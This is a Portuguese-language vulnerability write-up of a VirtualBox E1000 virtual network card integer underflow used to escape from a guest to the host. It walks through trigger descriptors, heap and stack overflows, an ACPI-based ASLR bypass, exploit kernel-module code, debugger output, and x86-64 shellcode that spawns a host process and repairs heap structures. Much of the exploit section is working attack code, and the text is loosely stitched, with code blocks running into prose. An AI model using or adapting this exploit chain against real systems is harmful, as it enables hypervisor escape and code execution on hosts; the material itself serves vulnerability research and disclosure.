virtualbox_e1000_0day

Vamos atribuir os campos da sua estrutura da seguinte forma (os nomes dos campos são hipotéticos para serem legíveis por humanos, mas mapeiam diretamente para a especificação 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

e1kTxDLazyLoad lerá todos os 5 descritores Tx do Tx Ring. Então e1kLocateTxPacket é chamado pela primeira vez. Esta função itera por todos os descritores para configurar um estado inicial, mas não os processa de fato. No nosso caso, a primeira chamada a e1kLocateTxPacket manipulará os descritores context_1, data_2 e data_3. Os dois descritores restantes, context_4 e data_5, serão manipulados na segunda iteração do loop while (abordaremos a segunda iteração na próxima seção). Essa divisão do array em duas partes é crucial para desencadear a vulnerabilidade, então vamos descobrir por quê.

e1kLocateTxPacket tem a seguinte aparência:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

Se data_3.end_of_packet tivesse sido falso, então os descritores restantes context_4 e data_5 seriam processados, e a vulnerabilidade teria sido contornada. Abaixo você verá por que esse retorno da função leva ao bug.

No final da função e1kLocateTxPacket temos os seguintes descritores prontos para desembrulhar pacotes de rede e enviar para uma rede: context_1, data_2, data_3. Então o loop interno de e1kXmitPending chama e1kXmitPacket. Esta função itera por todos os descritores (5 no nosso caso) para realmente processá-los:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

O primeiro descritor passado para e1kXmitDesc é context_1. A função não faz nada com descritores de contexto.

O segundo descritor passado para e1kXmitDesc é data\_2. Como todos os nossos descritores de dados têm tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE acima), chamamos e1kFallbackAddToFrame onde haverá um underflow de inteiro enquanto data\_5 é processado.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS; /// @todo consider rc;
}

Como data_3 tipo != E1K_DTYP_CONTEXT e data_3.end_of_packet == true, saímos do loop apesar do fato de que existem context_4 e data_5 a serem processados. Por que isso é importante? A chave para entender a vulnerabilidade é entender que todos os descritores de contexto são processados antes dos descritores de dados. Os descritores de contexto são processados durante a Atualização de Contexto de Segmentação TCP em e1kLocateTxPacket. Os descritores de dados são processados posteriormente no loop dentro da função e1kXmitPacket. A intenção do desenvolvedor era proibir a alteração de u16MaxPktLen após alguns dados terem sido processados para evitar underflows de inteiros no código:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Aqui chamamos e1kLocateTxPacket para realizar o processamento inicial dos descritores context_4 e data_5. Foi dito que podemos definir context_4.maximum_segment_size para um tamanho menor que o tamanho dos dados já lidos, ou seja, menor que 0x10. Recorde os nossos descritores Tx de entrada:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Isso faz com que a seguinte verificação seja verdadeira, uma vez que 0xFFFFFFFF > 0x4188:```c
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

### Estouro de Buffer
Chamamos e1kFallbackAddSegment com tamanho 0x4188. Como isso pode ser abusado? Há pelo menos duas possibilidades que encontrei. Primeiramente, dados serão lidos do guest para um buffer no heap:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Como pode ver, transformamos um underflow de inteiro em um clássico stack buffer overflow. Os dois overflows acima — heap e stack — são usados no exploit.

## Exploit
O exploit é um módulo do kernel Linux (LKM) para carregar em um SO convidado. O caso Windows exigiria um driver diferente do LKM apenas por um wrapper de inicialização e chamadas de API do kernel.

Privilégios elevados são necessários para carregar um driver em ambos os SOs. É comum e não é considerado um obstáculo intransponível. Veja o concurso Pwn2Own, onde pesquisadores usam cadeias de exploits: um navegador que abriu um site malicioso no SO convidado é explorado, uma fuga da sandbox do navegador é feita para obter acesso total ao ring 3, uma vulnerabilidade do sistema operacional é explorada para abrir caminho ao ring 0, de onde se tem tudo o que é necessário para atacar um hypervisor a partir do SO convidado.
As vulnerabilidades de hypervisor mais poderosas são certamente aquelas que podem ser exploradas a partir do ring 3 convidado. No VirtualBox também existe código que é acessível sem privilégios de root no convidado, e ele ainda não foi auditado em sua maior parte.

O exploit é 100% confiável. Isso significa que ele sempre funciona ou nunca, devido a binários incompatíveis ou outras razões mais sutis que não considerei. Ele funciona pelo menos em convidados Ubuntu 16.04 e 18.04 x86_64 com configuração padrão.

### Exploitation Algorithm
1) Um invasor descarrega o e1000.ko carregado por padrão em convidados Linux e carrega o LKM do exploit.
2) O LKM inicializa o E1000 de acordo com a folha de dados. Apenas a metade de transmissão é inicializada, já que não há necessidade da metade de recepção.
3) Passo 1: vazamento de informação.
    1) O LKM desativa o modo loopback do E1000 para tornar o código do stack buffer overflow inacessível.
    2) O LKM usa a vulnerabilidade de underflow de inteiro para causar o heap buffer overflow.
    3) O heap buffer overflow permite usar a EEPROM do E1000 para escrever dois bytes quaisquer relativos a um buffer de heap em um intervalo de 128 KB. Assim, o invasor obtém uma primitiva de escrita.
    4) O LKM usa a primitiva de escrita 8 vezes para escrever bytes na estrutura de dados ACPI (Advanced Configuration and Power Interface) no heap. Bytes são escritos em uma variável de índice de um buffer de heap do qual um único byte será lido. Como o tamanho do buffer é menor que o número máximo de índice (255), o invasor pode ler além do buffer, obtendo assim uma primitiva de leitura.
    5) O LKM usa a primitiva de leitura 8 vezes para acessar a ACPI e obter 8 bytes do heap. Esses bytes são um ponteiro da biblioteca compartilhada VBoxDD.so.
    6) O LKM subtrai o RVA do ponteiro para obter a base de imagem do VBoxDD.so.
4) Passo 2: stack buffer overflow.
    1) O LKM ativa o modo loopback do E1000 para tornar o código do stack buffer overflow acessível.
    2) O LKM usa a vulnerabilidade de underflow de inteiro para causar o heap buffer overflow e o stack buffer overflow. O endereço de retorno salvo (RIP/EIP) é sobrescrito. O invasor ganha controle.
    3) Uma cadeia ROP é executada para executar um carregador de shellcode.
5) Passo 3: shellcode.
    1) O carregador de shellcode copia um shellcode da pilha para próximo de si mesmo. O shellcode é executado.
    2) O shellcode faz chamadas de sistema fork e execve para gerar um processo arbitrário no lado do host.
    3) O processo pai faz a continuação do processo.
6) O invasor descarrega o LKM e carrega o e1000.ko novamente para permitir que o convidado use a rede.

### Initialization
O LKM mapeia a memória física em relação ao MMIO do E1000. O endereço físico e o tamanho são predefinidos pelo hypervisor.```c
void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

configure_CTRL(mmio);

// Configure TX registers

g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
    printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
    return;
}

configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);

### Contorno de ASLR
#### Primitiva de escrita
Desde o início do desenvolvimento do exploit, decidi não usar primitivas encontradas em serviços desabilitados por padrão. Isso significa, em primeiro lugar, o serviço Chromium (não um navegador) que fornece aceleração 3D, onde mais de 40 vulnerabilidades foram encontradas por pesquisadores no último ano.

O problema era encontrar uma fuga de informação nos subsistemas padrão do VirtualBox. O pensamento óbvio era que, se o underflow de inteiro permite estourar o buffer da heap, então controlamos qualquer coisa além do buffer. Veremos que nenhuma vulnerabilidade adicional foi necessária: o underflow de inteiro mostrou-se bastante poderoso para derivar primitivas de leitura, escrita e fuga de informação a partir dele, sem mencionar o estouro de buffer da pilha.

Vamos examinar o que exatamente é estourado na heap.```c
/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Como podemos abusar deles? E1000 implementa EEPROM, memória secundária do adaptador. O sistema operacional convidado pode acessá-lo através dos registradores MMIO do E1000. EEPROM é implementado como um autômato finito com vários estados e realiza quatro ações. Estamos interessados apenas em 'write to memory'. É assim que se parece (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

instrução escreverá dois bytes em deslocamento arbitrário de 16 bits a partir de m_au16Data que também reside na estrutura. Encontramos uma primitiva de escrita.

#### Primitiva de leitura
O próximo problema era encontrar estruturas de dados no heap para escrever dados arbitrários, com o objetivo principal de vazar um ponteiro de biblioteca compartilhada para obter sua base de imagem. Felizmente, não foi necessário fazer um heap spray instável porque as principais estruturas de dados dos dispositivos virtuais pareciam ser alocadas de um heap interno do hypervisor de forma que a distância entre elas é sempre constante, apesar de seus endereços virtuais, é claro, serem randomizados pelo ASLR.

Quando uma máquina virtual é iniciada, o subsistema PDM (Pluggable Device and Driver Manager) aloca objetos PDMDEVINS no heap do hypervisor.```c
int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Observe o dispositivo E1000 na posição #0xE. Na segunda lista, pode-se ver que o próximo dispositivo está a um offset de 0x5700 do E1000, o seguinte a 0x19E0 e assim por diante. Já dissemos que essas distâncias são sempre as mesmas, e é nossa oportunidade de exploração.

Os dispositivos seguintes ao E1000 são ICH IC'97, OHCI, ACPI, VirtualBox GIM. Ao aprender suas estruturas de dados, descobri a maneira de usar a primitiva de escrita.

Na inicialização da máquina virtual, o dispositivo ACPI é criado (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Quando o sistema operacional convidado executa a instrução INB(0x4107) para ler um byte da porta, o tratador retira um byte do array au8SMBusBlkDat[32] no índice u8SMBusBlkIdx e o retorna ao convidado. E é assim que se aplica a primitiva de escrita: já que a distância entre os blocos de heap do dispositivo virtual é constante, assim também é a distância do array EEPROM93C46.m_au16Data até ACPIState.u8SMBusBlkIdx. Escrevendo dois bytes em ACPIState.u8SMBusBlkIdx, podemos ler dados arbitrários no intervalo de 255 bytes a partir de ACPIState.au8SMBusBlkDat.

Há um obstáculo. Observando a estrutura ACPIState, percebe-se que o array está localizado no final da estrutura. Os campos restantes são inúteis para vazar. Então, vamos ver o que pode ser encontrado após a estrutura:```
gef➤  x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0:	0xffffe98100000090	0xfffd9b2000000000
0x7fc47008d4f0:	0x00007fc470067a00	0x00007fc470067a00
0x7fc47008d500:	0x00000000a0028a00	0x00000000000e0000
0x7fc47008d510:	0x00000000000e0fff	0x0000000000001000
0x7fc47008d520:	0x000000ff00000002	0x0000100000000000
0x7fc47008d530:	0x00007fc47008c358	0x00007fc44d6ecdc6
0x7fc47008d540:	0x0031000035944000	0x00000000000002b8
0x7fc47008d550:	0x00280001d3878000	0x0000000000000000
gef➤  x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6:	"ACPI RSDP"
gef➤  vmmap VBoxDD.so
Start                           End                             Offset                          Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤  p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

// When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
// the stack buffer.
e1000_disable_loopback_mode(mmio);

uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
    stage_1_overflow_heap_buffer(mmio, tx_ring, i);
    leaked_bytes[i] = stage_1_leak_byte();

    printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}

uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);

return vboxdd_base;

Foi dito que, para que o underflow de inteiros não leve ao estouro de buffer na pilha, certos registradores E1000 devem ser configurados. A ideia é que o buffer esteja sendo estourado na função e1kHandleRxPacket, que é chamada ao manipular descritores Tx no modo loopback. De fato, no modo loopback, o convidado envia pacotes de rede para si mesmo, então eles são recebidos imediatamente após o envio. Desabilitamos esse modo para que e1kHandleRxPacket fique inacessível.

### Bypass de DEP

Nós contornamos o ASLR. Agora o modo loopback pode ser ativado e o estouro de buffer na pilha pode ser acionado.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    off_t buffer_pa;
    void* buffer_va;
    alloc_buffer(&buffer_pa, &buffer_va);

    stage_2_set_up_buffer(buffer_va, vboxdd_base);
    stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

    free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
    printk(KERN_INFO PFX"##### Stage 2 #####\n");

    e1000_enable_loopback_mode(mmio);
    stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
    e1000_disable_loopback_mode(mmio);
}

O shellcode é executado. Sua primeira parte é:```asm
use64

start:
    ; sys_fork
    mov rax, 58
    syscall

    test rax, rax
    jnz continue_process_execution

    ; Initialize argv
    lea rsi, [cmd]
    mov [argv], rsi

    ; Initialize envp
    lea rsi, [env]
    mov [envp], rsi

    ; sys_execve
    lea rdi, [cmd]
    lea rsi, [argv]
    lea rdx, [envp]
    mov rax, 59
    syscall

...

cmd     db '/usr/bin/xterm', 0
env     db 'DISPLAY=:0.0', 0
argv    dq 0, 0
envp    dq 0, 0

; Skip junk
add rsp, 0x10

; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15

; Skip junk
add rsp, 0x8

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL

; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb

; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0

; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

ret

Quando e1kHandleRxPacket é chamado, uma pilha de chamadas é:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

O shellcode adiciona 0x48 ao RBP para torná-lo como deveria estar em e1kR3NetworkDown_XmitPending. Em seguida, os registradores RBX, R12, R13, R14, R15 são recuperados da pilha, pois é exigido pela ABI System V preservá-los em uma função chamada. Se não forem, o hipervisor irá travar devido a ponteiros inválidos neles.

Isso poderia ser suficiente, pois a máquina virtual não trava mais e continua executando. Mas haverá uma violação de acesso na função PDMR3QueueDestroyDevice quando a VM for desligada. A razão é que quando o heap é estourado, uma estrutura importante PDMQUEUE é sobrescrita. Além disso, ela é sobrescrita pelos últimos dois gadgets ROP, ou seja, os últimos 16 bytes. Tentei reduzir o tamanho da cadeia ROP e falhei, mas quando substituí os dados manualmente, o hipervisor ainda estava travando. Isso significava que o obstáculo não é tão óbvio quanto parecia.

A estrutura de dados sendo sobrescrita é uma lista encadeada. Os dados a serem sobrescritos estão no penúltimo elemento da lista; um ponteiro 'next' será sobrescrito. A solução acabou sendo simples:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before:   "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After:    "E1000-Xmit" -> NULL